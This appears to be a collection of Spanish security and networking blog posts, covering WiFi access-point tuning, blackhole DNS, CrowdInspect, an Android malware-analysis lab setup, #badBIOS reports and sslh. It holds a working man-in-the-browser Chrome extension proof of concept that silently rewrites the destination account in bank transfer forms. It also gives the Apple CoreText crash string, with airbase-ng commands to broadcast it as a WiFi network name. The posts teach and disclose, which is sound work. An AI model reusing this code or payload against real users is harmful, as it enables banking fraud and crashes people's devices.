    Es por esto que lo primero que debemos hacer al adquirir un AP es estresarlo al máximo para determinar si cumple o no con la transmisión y desempeño deseado, así como evaluar la calidad del enlace Cliente-AP.

    ¿WiFi estresado?
    En el campo profesional, Wifi Stress o "estresar un punto WiFi" son una serie de pruebas, realizadas por profesionales, a las cuales se somete un AP, para determinar las cargas de trabajo, tráfico, conexiones y otras mediciones, que son ejecutadas en tiempo real y medidas con un analizador de espectro, con el objetivo de evaluar el rendimiento y otros parámetros del AP, para mejorar la calidad de la conexión cliente-AP... Aunque a veces también se le llama "WiFi estresado”, cuando se congestiona un nodo producto del tráfico en exceso o de interferencias, causando mal funcionamiento.
    Si quieres conocer los mitos y verdades sobre el WiFi Stress, recomendamos los posts informationWeek y Stress Electromagnético... (O los mitos de las interferencias WiFi, en general, según Cisco.)

    ¿Y cómo podemos evaluar esta "calidad del enlace cliente-AP", sin hacer estas rigurosas pruebas?
    La manera sencilla es con tu mismo AP, siempre que disponga de CCQ.

    ¿CQQ?
    CQQ de transmisión (Transmit CCQ) es un índice de cómo se evalúa la calidad de la conexión del cliente inalámbrico. Tiene en consideración el conteo de errores de transmisión, latencia, y rendimiento, mientras evalúa la tasa de paquetes correctamente transmitidos en relación con los que deben ser retransmitidos, y también tiene en cuenta la actual tasa en relación con la mayor tasa especificada. El nivel está basado en un porcentaje donde 100% corresponde a un enlace perfecto.


    Si hay deterioro en el enlace (CCQ bajos) se debe verificar la calidad de la conexión, o sea, la latencia con relación a los usuarios conectados. Y a no ser que todos los clientes usen el mismo sistema operativo, hardware y adaptador de red (algo improbable), los parámetros a modificar cambiarán de acuerdo a cada cliente en específico. Por ejemplo: Cuando los CCQ están bajos es porque la latencia es alta, así como las caídas de comunicación.
    Hay que tener en cuenta a la hora de la parametrización los factores que intervienen en el proceso de enlace, tales como la distancia AP-Cliente, y las variables naturales del entorno las cuales inciden directamente en la estabilidad y calidad del enlace.
    Otro aspecto es lo que se conoce como Noise Floor y Transmit CCQ. Mientras más estrecho sea el canal más sensible será. Por ejemplo, a 1mbps se maneja una sensibilidad de -97dbm y en 54mbps se maneja -74dbm. Si se encuentra cercano a -100 es mejor.
    Otros parámetros a considerar son: Pausa ACK (ACK Timeout); Concatenado de Tx/Rx(TX/RX Chains); Tasa de Tx y Rx (TX Rate and RX Rate), que muestra la tasa actual de transmisión 802.11 mientras opera en modo Estación.


    ¿Y cómo mejoro el enlace? 
    Lo primero es hacer el mapeo de la zona en la cual se pretende trasmitir la señal inalámbrica, es decir, verificar si la geografía (accidentalidad del terreno) permite irradiar en 360 grados por igual. Si existen colinas, saturación o si la zona es plana. El resultado de este estudio determinará el tipo de antenas a usar en los AP (omnidireccionales o sectoriales).
    Luego se debe determinar la distancia a la cual se pretende llegar (cobertura). En este punto hay que tener en cuenta la distancia real y no la teórica. La gran realidad es que así el fabricante del AP diga que tiene un alcance de 30 kms, asuma que es falso y mida usted mismo la distancia de cobertura real. Lo máximo efectivo en AP comerciales a la fecha es de 3 kms en vista directa sin obstáculos. Existen APs con mayor cobertura, pero los precios son estratosféricos.
    Si lo que se pretende es armar una red local, empresarial, de una entidad educativa o un punto de acceso público, no podemos contar con distancias largas, así el AP indique que puede hacerlo
    Esto nos lleva al punto más importante: La elección del AP. Deberá ser un equipo que soporte todos los estándares actuales y que tenga una antena con la ganancia adecuada para brindar la cobertura deseada; ni más ni menos.
    Y lo más importante (y que nadie le da importancia): Un buen microprocesador, suficiente memoria y una buena sensibilidad. Los parámetros técnicos más relevantes son Ptx (potencia del AP), Line loss (pérdida de la señal, que casi siempre es de 1dbm) y Ga (Ganancia de la antena). O el resultante PIRE.
    Para calcular estos parámetros, pongamos un ejemplo. Supongamos que tenemos una antena de 17 dbi. Convertimos dbi a db restándole 2.14, que daría como resultado 14.86db o dbm (db cuantitativamente son casi lo mismo que los dbm). Y si la pérdida es de 1 dbm entonces, Ptx-1dbm+14.86dbm<=36dbm
    Esto daría como resultado final un Ptx=22.14 dbm. Lo que significa que si vamos a usar una antena de 17 dbi, tan solo necesitamos comprar un AP que tenga una potencia menor o igual a 22.14dbm (aproximadamente 163mw).
    Para convertir de mw a dbm: (X) mw=10log(X)db (Logaritmo base 10). Para el caso anterior, 22.14=10*log(x) => 2.214=log(X) => X=10^2.214 => X= 163mw.
    Tabla de conversión decibelios (ganancia) a vatios (potencia)

    Se utiliza la unidad dBm (decibelios relativos al nivel de referencia de 1 milivatio). 1 mW es igual a 0 dBm y cada vez que se doblan los milivatios, se suma 3 a los decibelios.
    Por ejemplo, una antena de 12 dbi de potencia, irradiará aproximadamente unos 250 a 3500 mts. Una de 14 dbi, tendrá una cobertura aproximada de 800mts a 1km; de 16dbi/1 a 1.5km; de 17 llegara hasta los 1.5 o 2 km y una de 19dbi llegara hasta 2.5km.
    Existen antenas con ganancias superiores a 21dbi, pero no se usan comercialmente y no son para realizar enlaces punto-multipunto, sino para Ad-hoc/punto a punto (antenas grilla o parabólicas), entre otros usos.
    En conclusión, lo más importante que debemos aprender es que lo primero que debemos tener en cuenta a la hora de comprar un AP para nuestra red es la relación ganancia de la antena vs potencia del AP, priorizando siempre la ganancia sobre la potencia. Esto es válido también para el cliente.

    O sea, que a fin de cuentas, puedo comprar un AP barato, y le pongo unas superantenas de alta calidad y funcionaría de maravilla... ¿Es correcto?
    Sí, pero ahora no salgas corriendo directo al basurero y recojas un AP de 5 dólares y le pongas unas antenas de 20dbi. Debes adquirir un AP que soporte todas las tecnologías actuales, con las características de manufactura que se han indicado y ponerle unas antenas acordes a la cobertura que pretendes brindar (ni más, ni menos)

    Cuando explicabas cómo mejorar el enlace, mencionaste "a no ser que los clientes usen el mismo sistema operativo". ¿Qué relación tiene esto con las interferencias WiFi?
    No influye directamente, pero es determinante a la hora de establecer las conexiones cliente-AP. Los sistemas operativos, cada uno carga con su propia cruz. Muchos recordamos el caso del problema con Wireless Zero Configuration (Configuración Inalámbrica Rápida) en Windows XP, que tantos dolores de cabeza nos dio, y la vulnerabilidad APIPA con los sistemas Windows actuales (que también afecta a Linux).
    También está el problema de los drivers de las placas de red, que muchas veces son defectuosos o el usuario instala "drivers forzados", cuando hace downgrade de una versión de Windows a otra anterior.
    Y si le sumamos que muchos terminales no cuentan con una debida protección, ni tampoco los nodos, o sea, no hay un Control de Acceso a la Red (NAC), el escenario puede ser caótico. Todo esto afecta las conexiones cliente-AP.

    ¿Algunos consejos finales para los lectores?
    Hay algunas pautas, que se pueden tener en cuenta para tener una red wifi en condiciones lo más ideales posibles para una mejor operatividad, como por ejemplo las que sugiere RedesZone, que son muy válidas:
    1. Instalar el AP en lugar idóneo, preferentemente en un sitio elevado, lejos del suelo, ventanas o muros gruesos, siempre al aire libre y evitar los objetos a su alrededor, en especial los metálicos.
    2. Elegir el canal más adecuado de acuerdo a un estudio previo de frecuencia
    3. Determinar la cantidad de dispositivos que trabajarán en el mismo canal para evitar interferencias y sobrecarga innecesaria
    3. Si va a trabajar en una frecuencia compartida (canal compartido o co-channel), revise la potencia de su equipo y de los que se encuentran en el mismo radio. Si observa lentitud o cortes con un buen nivel de señal, es muy posible que la saturación del canal de trabajo sea el problema.
    4. Revise si hay dispositivos no-wifi en el radio de su AP que vampiricen la señal. La saturación también puede ser ocasionada por estos dispositivos, que no son detectados por las herramientas descritas en este post. Aquí lo más recomendable es alejar lo más posible estos equipos de la fuente de transmisión y verificar los canales por donde transmiten y evitarlos.
    5. Elija siempre el canal menos saturado. Tenga en cuenta tanto el número del canal (rango de frecuencia a la que se trabaja), como intensidad de la señal de ese dispositivo. Tenga presente que algunos equipos Wifi, tienen la capacidad de cambiar de canal de forma automática, si se encuentran con canales saturados, por tanto la información sobre canales es dinámica, y puede cambiar al añadirse nuevos equipos Wifi en nuestra zona de influencia o por cambios de canal de trabajo de los existentes (manuales o automáticos) o de los vecinos. Es por eso que los administradores IT deben monitorizar constantemente las redes WiFi y analizar el espectro para responder ante estos cambios imprevistos.
    6. Los canales siembre comparten su frecuencia con los contiguos, por tanto seleccione el canal más distante al canal origen del problema.
    7. La señal inalámbrica es esférica, se expande por el aire, reduciéndose a medida que aumenta la distancia o se encuentran obstáculos. Así, lo importante es encontrar el centro de gravedad de la casa o establecimiento para situar el AP, tal y como lo haríamos con un radio o un equipo de sonido que queramos escuchar en toda la casa.
    9. Cuando hay muchos objetos o interferencias en la casa, podemos probar con una antena de router direccional en lugar de multidireccional. Esto permite orientar mejor la señal para aprovechar la conexión.
    10. Usa repetidores para aumentar el radio de cobertura, pero verifica que la potencia no sea causa de interferencia con tu red o con redes cercanas.
    11. Si vas a usar varios APs dentro de una misma red local WiFi, que sean del mismo fabricante, modelo, firmware, y configuración. Manténgalo actualizado.
    13. Ojo con el estándar a usar. La mayoría de los APs actuales permite operar con 802.11g, b, n, etc. La tarjeta inalámbrica del cliente debe funcionar con el mismo estándar y en lo posible el mismo canal del AP.
    14. Si tiene clientes fijos dentro de su red, puede fijar el canal de trabajo de sus adaptadores WiFi para una mejor interacción con el AP. En Linux abre una ventana de terminal, escribe ‘ifconfig’ y comprueba cómo se llama tu interfaz inalámbrica; probablemente wlan0 o wlan1. Toma nota de su nombre. Luego escriba ‘iwconfig wlan0 channel #’ donde wlan0 es el nombre de tu interfaz y # es el número del canal al cual te deseas cambiar. Después de ejecutar ese comando, el canal se establecerá en el nuevo número de tu elección.
    15. Y nosotros añadimos que tengan en cuenta los parámetros técnicos del AP y la ganancia de la antena vs potencia del AP, descritos anteriormente, y que utilicen, en lugar de sistemas distribuidos tradicionales, tramas híbridas terrestres para enlazar sus puntos WiFi y ampliar la cobertura, con medios de transmisión alternativos, como el PLC, y así minimizar el impacto negativo de las interferencias RF; o utilizar técnicas avanzadas de Radio Cognitiva (como el nuevo estándar 802.22), pero esto será tema de otra entrevista.

    Artículo de Alej Calero 
    Maravento Studio 
    07 Jun 07:15

    Un abogado, un man in the browser y un side-chanel

    by noreply@blogger.com (Maligno)
    Un día fui a comer con unos amigos y me encontré con mi amigo John Doe que es licenciado y experto en legislación aplicada a la seguridad informática. Estudió en un país lejano, desconozco si en nuestro país se imparte esta carrera. Y yo soy un híbrido entre administrador y programador de aplicaciones de servidor en el lado del código abierto - anti nada pero no estoy familiarizado con Microsoft.

    Mi amigo John Doe estaba trabajando para entidades bancarias locales y me dijo algo como "Mis clientes están muy seguros de sí mismos, con las nuevas implementaciones en materia de seguridad cualquier mecanismo intermedio entre un usuario y la entidad es detectado y perseguido". Lo que para mis oídos significa "A que no encuentras la manera de contradecir esta afirmación". Ya me faltaba tiempo para llegar a casa...

    Detectar cosas en medio de una conexión entre el cliente y el servidor exige, obligatoriamente, un side-channel. Si no puedes controlar el 100 % de la comunicación, entonces estás obligado a trabajar con canales paralelos como los terminales móviles - como hace Latch -, con los tokens hardware que sirven para teclear información que no deba ir desde el navegador de Internet, o usar caminos de covert-channels, como el que se uso en Facebook para analizar los certificados digitales usando un truco de Flash poco conocido.

    Lo más complicado cuesta muchas horas, y no me sobran, así que intentaría algo sencillo, una prueba de concepto para romper la afirmación. Una cosa sencilla y que pueda probar en casa sin levantar sospechas, y evitar las pruebas en el entorno real, o al menos, evitar ser detectado controlando el lado cliente, así que probé con Javascript.

    La idea de hacer un Frame envolviendo la página del banco e interactuar con el contenido se esfumó después de pelear unas horas contra la Política del mismo origen y me di por vencido. No conseguiría saltarme la política en la mayoría de los exploradores como era mi intención.

    Entonces se me ocurrió probar con una extensión del explorador, como hacen desde hace tiempo muchos bichos malos para hacer un Man in the Browser en sus esquemas de Fraude Online. Quería ver si sería difícil hacer esa extensión maliciosa. Y funcionó. Con una extensión se puede obtener y modificar el contenido de cualquier Frame. El manifest.json le indica lo siguiente:
    "content_scripts":
    [

    {
         "matches": ["https://*.bancomalo.com/*",
                        "https://*.bancomalo.es/*"],

                        "js": ["js/evil_in_bancomalo.js"],
                        "all_frames": true
    }
    ]
    Lo siguiente fue coser y cantar, seguir la guía de programación de extensiones para Chrome y añadir el bicho "evil_in_bancomalo.js". Hay que decir que a lo mejor hice más de la cuenta, pero habiendo hecho mil pruebas para saltarme la Política del mismo sitio, me gustaba la idea de la función "infectDocument" que imprime la otra función en todos los frames:
    /**
    * frame infection
    */
     
    function infectDocument() {
    var frameHead = document.getElementsByTagName('head')[0];
    var newScript = document.createElement('script');
    newScript.type = 'text/javascript';
    newScript.innerHTML = anchorAttach();
    frameHead.appendChild(newScript);
    }
    /**
    * attaching function for all anchor
    */

    function anchorAttach() {
    for ( var els = document.getElementsByTagName('a'), i = els.length; i--;)
    {

         switch(els[i].textContent || els[i].innerText) {
         case 'Continuar':
           els[i].onclick = function ()
           {

           if (document.getElementById('Campo_Entidad').value)
           {

           document.getElementById('Campo_Entidad').value = '0XXX';
           document.getElementById('Campo_Oficina').value = '1XXX';
           document.getElementById('Campo_DC').value = '95';
           document.getElementById('Campo_Cuenta').value = '281186XXXX';
           }
          };
        break;
    }
    }
    }
    // run
    infectDocument();
    ¿Qué hace esta extensión?

    Muy sencillo, un usuario tiene instalada la extensión y entra en la página de su banco bancomalo.com. La extensión se activa cuando encuentra el campo del formulario llamado "Campo_Entidad" justo en el formulario para hacer transferencias y donde el usuario escribe su número de cuenta destinataria, el bicho escribe otra.

    En la página de confirmación también se podría programar un truco usando la memoria del explorador para mostrarle el número que había indicado el propio usuario, pero el formulario enviaría el dinero a la cuenta que el bicho le indica. El usuario sin darse cuenta pasaría todos los controles de seguridad y números secretos hasta aceptar la transferencia a un número de cuenta al que realmente no quiere enviar el dinero.

    La única solución vuelve al inicio. Contar con un side-channel que le envíe a los usuarios vía SMS, vía app para smartphone o vía token hardware la información de la transacción para que el usuario pueda ver por un canal no controlado por el malware lo que va a realizar. No olvidéis que mi amigo era abogado al fin y al cabo.

    Por supuesto, para acabar con estas extensiones maliciosas en este ataque concreto los navegadores permiten abrirse en modo seguro sin cargar ninguna extensión, así que si quieres evitar estos ataques, revisa cómo está configurado tu navegador.

    Autor: Jaume M.
    02 May 03:07

    Blackhole DNS servers: los agujeros negros de Internet

    by Vicente Motos
    Una tarde cualquiera, los sistemas IPS de los firewalls detectaron varias ráfagas o floods de paquetes UDP desde dos IPs: 192.175.48.6 y 192.175.48.42. Sus nombres DNS en Internet respondían a blackhole-1.iana.org y blackhole-2.iana.org respectivamente...

    Comprobar que su dominio pertenece a la entidad que ordena y asigna las IPs públicas en todo el mundo (IANA = Internet Assigned Numbers Authority) resultó ser bastante tranquilizador pero... ¿queréis saber que son exactamente estos servidores y por qué el firewall estaba detectando este tráfico?

    Empecemos un poco desde el principio. Todos sabemos que en IPv4 y según la santísima RFC 1918 se reservan varios rangos de direcciones IP para su uso en redes privadas, estos son: 10.0.0.0/8, 172.16.0.0/12, 169.254.0.0/16 y 192.168.0.0/16. Evidentemente intentar resolver el nombre de una IP privada en Internet no tiene ningún sentido, pero los humanos somos unos gañanes y... sí... generamos millones de consultas DNS inversas diarias hacia Internet tratando de resolver nombres de IPs privadas. Esto suele ser por errores de NAT o porque, o bien no utilizamos un DNS propio o el de algún proveedor (pa qué) y preguntamos directamente a los root servers, o bien si utilizamos nuestro DNS propio pero no hemos incluido los direccionamientos privados en las zonas DNS correspondientes.

    Por lo tanto tal y como comentamos, el resultado de estas malas configuraciones es que se generan multitud de peticiones inversas relacionadas con infraestructura interna hacia DNS públicos que evidentemente no pueden responder adecuadamente.

    Antes, estas peticiones se reintentaban y/o morían por timeout generando mucho tráfico y un gran impacto en el sistema global. Para solucionarlo, allá por el 99, la IANA creó lo que denominó servidores de agujero negro (en inglés Blackhole DNS server) a los que delegaron las zonas de búsqueda inversa de los direccionamiento privados (in-addr.arpa):

       o  BLACKHOLE-1.IANA.ORG (192.175.48.6)
       o  BLACKHOLE-2.IANA.ORG (192.175.48.42)
       o  PRISONER.IANA.ORG (192.175.48.1)
      
    Esto servidores devuelven una respuesta de "dirección inexistente" a la búsqueda DNS inversa para las direcciones reservadas para uso privado:

    Sending request to "blackhole-1.iana.org" (192.175.48.6)
    Received authoritative (AA) response:
    -> Header: Non-Existent Domain

    Amén la Wikipedia, "esto ayuda a reducir los tiempos de espera ya que la respuesta (negativa) se da de manera inmediata y por lo tanto no se requiere que expire. Además, la respuesta devuelta se permite también guardar en caché de los servidores DNS recursivos. Esto es especialmente útil debido a una segunda búsqueda para la misma dirección realizada por el mismo nodo, que probablemente sería respondida desde la caché local en lugar de consultar a los servidores autorizados de nuevo.".

    Sin embargo estos servidores recibían miles de consultas por segundo y para evitar su saturación en 2002 se creó el proyecto AS112, un grupo de operadores DNS voluntarios que se unieron en un sistema autónomo y que en la actualidad suman más de 400 servidores que se reparten la autoridad de distintas zonas para "aliviar" la carga de los anteriores.

    El resultado: IANA y un conjunto de voluntarios agrupados en el AS 112 para disminuir el ruido de fondo de Internet. Un gran ejemplo colaborativo y global.
    31 Mar 01:28

    escanea los procesos de Windows con Virus Total, WOT & MHR – CrowdInspect

    by said

    Determinar que procesos y servicios son legítimos en windows es bastante complicado. Aun que el administrador de tareas de windows te permite matar procesos o crear archivos de volcado, no te muestra la integridad de ellos.

    CrowdInspect no sólo analizar los procesos en la base de datos de virus Total, si no que también muestra clasificaciones de seguridad de WOT (Web of Trust) y MHR (malware Hash Project).

    Cuando inicias la aplicación te mostrara un listado de procesos corriendo en tu computadora. Aparte de mostrarte la información estándar como nombre, puerto, ID y IP, agregara calificaciones de seguridad de cada procesos y te destacara si alguno ya fue escaneado. Puedes pasar el puntero encima de algún proceso para ver información adicional o hacer clic derecho para realizar acciones como matar un proceso, copiar la información o cortar el Internet de ese proceso ( cerrar TCP) encontraras esas mismas opciones en la parte superior de la interfaz.

    CrowdInspect-for-Windows

    Todos los procesos son monitoreados y escaneados en tiempo real, así que no tienes que preocuparte por revisar manualmente los servicios en busca de procesos peligrosos.

    CrowdInspect escanea los procesos a través de Virus Total y su servicio en la nube, lo que significa que se puede considerar confiable. La tasa de detección es representada en tres colores diferentes, para un filtrado mas sencillo. Si un procesos utilizado es seguro lo mostrara de color verde, mientras que el color gris significa que es nuevo o indetectable y el rojo representa una amenaza potencial. Las calificaciones de WOT y MHR están representados de la misma manera.

    CrowdInspect es una aplicación portable que funciona en todas las versiones de Windows, es una aplicación bastante interesante, pruebenla y comenten.

    Descarga | CrowdInspect

    12 Mar 06:06

    Creando un entorno de análisis de aplicaciones Android

    by Contribuciones
    A estas alturas todos sabemos que la plataforma Android es un auténtico caldo de cultivo para el malware por diversos motivos:
    • Escasos controles en el momento de la publicación de aplicaciones en Google Play
    • Ventanas de tiempo entre publicación de malware y su eliminación que permiten obtener un beneficio de estas actividades ilícitas
    • Facilidad de distribución de aplicaciones a través de métodos alternativos a los canales oficiales
    • Necesidad de una mayor granularidad en los permisos
    • Un muy largo etcétera...
    Pero de esta situación también podemos sacar algo positivo, donde reina el malware nosotros tenemos campo donde investigar (como nos han enseñado en el blog www.elladodelmal.com a través de los artículos linterna molona y malware en Android), así que vamos a dedicar unas líneas a construir un entorno de análisis para jugar con el malware además de con todo tipo de aplicaciones Android.

    Descripción del entorno

    Con la idea de tener controlado el comportamiento de la aplicación a analizar vamos a crear un entorno repetible (a través de backups), en un dispositivo sobre el que tengamos pleno control (debe estar rooteado) y enrutando las comunicaciones que genere por una máquina que nos permita su análisis (utilizando iptables, wireshark y burp).

    De forma gráfica el escenario que vamos a recrear es el siguiente:


    Y para crear este entorno partiremos de los siguiente pre-requisitos:
    1. Tener un dispositivo rooteado donde hacer las pruebas (tenéis más documentación en los foros xda-developers en inglés y htcmania en español), y aunque estoy seguro de que esto sobra decirlo, si lo vais a utilizar para el análisis de malware no utilicéis vuestros dispositivo de uso diario.
    2. Instalación del Android SDK (tenéis más documentación en la Web oficial de Android ).
    3. Red Wifi a la que conectar el dispositivo.
    4. Disponer de una máquina con iptables, Wireshark y Burp instalados. En el ejemplo usaré una distribución Kali.
    Empecemos con la configuración del entorno.

    Preparando la distribución Kali

    Como vamos a enrutar el tráfico del dispositivo a la máquina Kali, lo primero será configurarla:
    • Iniciamos y configuramos Burp
      • En Proxy > Options, editamos el Proxy que está escuchando para que atienda a todas las interfaces:

      • Actúe de forma invisible:

      • Genere un certificado de CA por host:

    • Exportamos el certificado de la CA de Burp codificado en DER, para ello podemos configurar el cliente Web de Kali para que pase por el proxy y acceder a una página Web por HTTPS:

    • Configuramos las reglas de pre-routing con iptables que nos permitirán analizar el tráfico HTTP/HTTPS en Burp:
      • echo 1 > /proc/sys/net/ipv4/ip_forward
      • iptables -F
      • iptables -t nat -F
      • iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
      • iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
    • Iniciamos Wireshark y le ponemos a la escucha en la interfaz de red por la que entre el tráfico del dispositivo

    En este momento ya tenemos preparado el entorno de la máquina Kali, continuemos con el dispositivo.

    Preparando el dispositivo Android

    Antes de realizar el backup, vamos a hacer algunos ajustes previos en el dispositivo Android:
    • Instalamos la aplicación ProxyDroid para enrutar correctamente el tráfico HTTPS a nuestra máquina de análisis de comunicaciones y la configuramos del siguiente modo:



    • Importamos el certificado de la CA que habíamos exportado desde Burp, para ello lo copiamos a la SD (o memoria interna del dispositivo) y accedemos a Ajustes > Seguridad > Almacenamiento de credenciales > Instalar desde la tarjeta SD (o alamcenamiento). Tener en cuenta que estas opciones de menú pueden variar según la versión instalada de Android.
    • Configuramos la Wifi en el dispositivo y establecemos como puerta de enlace la dirección IP de la máquina Kali
    Con esto ya tenemos el dispositivo listo para su castigo, así que vamos a realizar un backup que poder restaurar finalizados nuestros análisis. Tenemos las siguientes opciones:
    • Nandroid, os dejo un enlace a un tutorial.
    • Herramienta adb del Android SDK:
      • Para hacer backup:   adb backup -apk -shared -all -system -f C:\estado0.ab
      • Para hacer restore:    adb restore C:\estado0.ab
    Ya tenemos preparada la máquina Kali para capturar el tráfico y el entorno sobre el que vamos a realizar las pruebas, de modo que sólo queda activar la aplicación ProxyDroid en el dispositivo:


    Y empezaremos a capturar el tráfico del dispositivo en el Wireshark y Burp de la máquina Kali:

    Algunas herramientas útiles

    Encontraréis de gran utilidad para la realización del análisis las siguientes herramientas:
    Tenéis un ejemplo de uso de las 3 primeras herramientas en el artículo de reversing de Pixel Dungeon.

    Otros recursos de información

    Por último, en los siguientes enlaces podéis encontrar información de mucha utilidad para vuestros análisis:

    Artículo cortesía de Miguel Ángel García
    Twitter: @nodoraiz
    02 Nov 16:55

    #badBIOS

    by Ernesto Corral

    Hace dos días, recibí un correo que contenía este enlace. Tras leerlo, estaba un poco asustado, parecía algo serio, especialmente viniendo del creador del concurso pwn2own Dragos Ruiu (@dragosr), ya que él no necesita algo así para hacerse famoso o tener un nombre.

    Como no hay demasiada información o un informe “oficial”, aquí os dejo algunos hechos sobre lo que Dragos ha encontrado y su investigación:

    • Encuentra un malware que infecta el hardware.
    • Lo encuentra instalado en portátiles con sistemas Windows instalados, pero se ve que de alguna manera es independiente de la plataforma, puede infectar sistemas BSD y OSx tampoco es inmune.
    • Reescribe la BIOS del sistema y es persistente, incluso tras “flashear” la BIOS con un firmware legítimo, sigue infectando el sistema. Esto obliga al investigador a usar una nueva máquina para cada prueba.
    • Se comunica mediante SDR (Software Defined Radio) para unir air gaps (equipos sin conexión a ninguna red). Funciona incluso si las tarjetas de red inalámbricas y de Bluetooth son extraídas.


      (https://plus.google.com/103470457057356043365/posts/exuXRz5C3L3)
    • Carga un Hypervisor.
    • Cuando se infecta la BIOS, no permite el arranque desde dispositivos externos sin importar la configuración elegida, la mayoría de las veces arranca desde el disco interno.


      (https://twitter.com/dragosr/status/388632113496350721)
    • Reescribe la memoria flash de todos los dispositivos de memoria USB que se conectan a un sistema infectado, incluyendo lectores de CD que se conectan mediante USB. No afecta a los ficheros del dispositivo USB, va directamente al firmware.
    • Insertar un pendrive infectado en un sistema limpio es suficiente para infectarlo… ¡sin siquiera tener que montarlo!

      “I didn’t even mount the volume and it was infected.”

      (https://twitter.com/dragosr/status/393021493149302785)

    • A veces “brickea” las memorias USB al extraerlas de manera no segura, pero vuelven a la vida cuando se introducen en un sistema infectado.


      https://twitter.com/dragosr/status/393026712197279746)
    • En los sistemas Windows infectados aparecen algunos ficheros .ttf y .fon extra. Tres de ellos (meiryo, meiryob, and malgunnb) tienen un tamaño mayor del esperado.
    • Cuando se intentan extraer estos ficheros, desaparecen del CD en el que se han copiado.

    • (https://twitter.com/dragosr/status/393633641370112000)

    • Se apunta a Rusia como origen del malware, ya que son los únicos desarrolladores de software malicioso que modifica los controladores flash. Además, el malware bloquea los dominios rusos que modifican las memorias flash.


      (https://twitter.com/dragosr/status/393023050750234624)
    • Los primeros síntomas se encontraron en un Macbook hace tres años.


      (https://twitter.com/dragosr/status/394223528813146112)
    • Han subido una lista con los md5 de los ficheros a este enlace.

    En estos momentos, no sé si se trata de un trolleo épico. Personalmente no creo que Dragos se juegue su reputación así, o si estamos delante de un nuevo tipo de amenaza ante la que tenemos que estar preparados. Lo peor es que, a día de hoy, nadie tiene ni idea del propósito del malware.

    Trataré de manteneros al día y os recomiendo que sigáis en Twitter a @dragosr y el hashtag #badBIOS si queréis estar al día sobre el tema.

    [NOTA] Si os interesa una muestra, tened un ojo en malware.lu. @xylit0l publicó esto en kernelmode.info:

    Re: New Bios Malware
     by Xylitol » Sun Oct 13, 2013 9:23 pm
    Talked to r00tbsd over irc, he have an image of the infected bios but got no time
    for the moment to add it on malware.lu.
    

    Fuentes:

    [1] https://plus.google.com/103470457057356043365/posts/9fyh5R9v2Ga
    [2] https://plus.google.com/103470457057356043365/posts
    [3] https://www.wilderssecurity.com/showthread.php?t=354463
    [4] https://www.security.nl/posting/366329/Onderzoeker+ontdekt+mysterieuze+BIOS-malware
    [5] https://kabelmast.wordpress.com/2013/10/23/badbios-and-lotsa-paranoia-plus-fireworks/
    [6] https://twitter.com/dragosr
    [7] https://twitter.com/rich_addr
    [8] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=2998&p=21195&hilit=BIOS+malware#p21195

    05 Sep 07:27

    El "texto de la muerte" para los usuarios de Apple

    by Vicente Motos
    Más que el "texto de la muerte" para los usuarios de Apple esta entrada debería llamarse "el bug en CoreText que permite que una cadena de caracteres en árabe haga fallar a las aplicaciones de iOS 6 y Mac OS X 10.8".

    Efectivamente, un error en el API de CoreText, el framework de renderizado de fuentes de Apple, provoca que la siguiente cadena de caracteres árabigos  سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ (traducida Smoouhkh ̷̴̐ ̷̴̐ x x x ̷̴̐ Amartykh ̷̴̐ x) haga fallar cualquier aplicación de iOS y Mac OS que lo utilice.

    Se ha confirmado la vulnerabilidad en Mac OS 10.8 (Mountain Lion) y iOS 6, de hecho, cualquier con ese SO no podrá leer este post puesto que el navegador se le habrá cerrado XD. Las versiones de iOS inferiores a 6 y 7 beta, Mac OS inferiores a 10.8 y 10.9 beta parecen no verse afectadas por este problema.
     
    El fallo fue descubierto en un foro ruso hace un par de días, si bien parece que ya se conocía hace meses (hay tweets con esa cadena de caracteres desde febrero) y Apple no ha reaccionado.

    A partir de aquí mucho juego porque el fallo puede reproducirse de muchas maneras:

    - Enviando un sms a un iPhone: ojo porque además una vez recibido no podrás abrir más 'Mensajes'. Ver habrahabr.ru/post/191654 / #comment_6658802.
     
    - Enviando un mensaje vía iMessages en iOS o desktop Messages en Mac OS: un tanto de lo mismo.

    - Abriendo una página que contenga ese texto, por ejemplo https://zhovner.com/tmp/killwebkit.html: el navegador Safari en iOS simplemente se cerrará. En este caso, si no se elimina el historial de visitas, al volver a entrar no funcionará. El escritorio Safari se comportará de la misma manera. Chrome, el nuevo Opera y Yandeks.Brauzer mostraran el error en las pestañas pero seguirán trabajando. Como nota, sitios como Twitter o Facebook ya han empezado a bloquear publicaciones con este texto...

    - Publicando una red inalámbrica con el nombre SSID adecuado: imaginaros la cara de todos aquellos con todos los dispositivos con Wifi activado...   

        root@kali:~# airmon-ng start wlan0
        root@kali:~# airbase-ng -e " ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ" -q -c 11 mon0

    - Escribiendo el texto como nombre de usuario, créditos, etc. en juegos en línea, provocando el cierre de otros usuarios.

    - Más diversión ¿?...

    Fuentes:
    https://news.ycombinator.com/item?id=6293824
    https://facepunch.com/showthread.php?t=1302653&p=41997269
    http://arstechnica.com/apple/2013/08/rendering-bug-crashes-os-x-and-ios-apps-with-string-of-arabic-characters/
    http://techcrunch.com/2013/08/29/bug-in-apples-coretext-allows-specific-string-of-characters-to-crash-ios-6-os-x-10-8-apps/
    21 Aug 17:10

    HTTPS, SSH y OpenVPN en un mismo puerto, ¿magia?

    by Yago Jesus
    mclavel

    nop

    De vez en cuando uno encuentra una de esas herramientas que resuelve un problema de una forma tan brillante que realmente dan ganas de aplaudir.

    Este es el caso de sslh, una herramienta que permite cumplir el sueño de todo aquel que ha tenido que lidiar en un entorno cuya salida estaba gestionada por un proxy.

    Sslh permite multiplexar un único puerto y convertirlo en varios servicios a la vez. Lo que hace es recibir la conexión en el puerto indicado, analizar que tipo de conexión es (ssl, openvpn, ssh, xmpp) y en función de ese análisis, enviar la conexión al puerto indicado.

    Por simple el concepto es brillante. Muchos nos hemos encontrado en un entorno donde un proxy solo facilita el método 'CONNECT' hacia el puerto 443. Si queríamos hacer uso de varios servicios era necesario usar túneles SSH que a la postre eran bastante engorrosos.

    Además, el creador de la herramienta indica un método para lidiar con proxys 'inteligentes' que no solo restringen conexiones a puertos sino que también analizan que las conexiones sean efectivamente SSL.

    Para instalarlo en Linux (para windows se proveen ejecutables) hay que hacer lo siguiente:

    Descargamos el paquete:

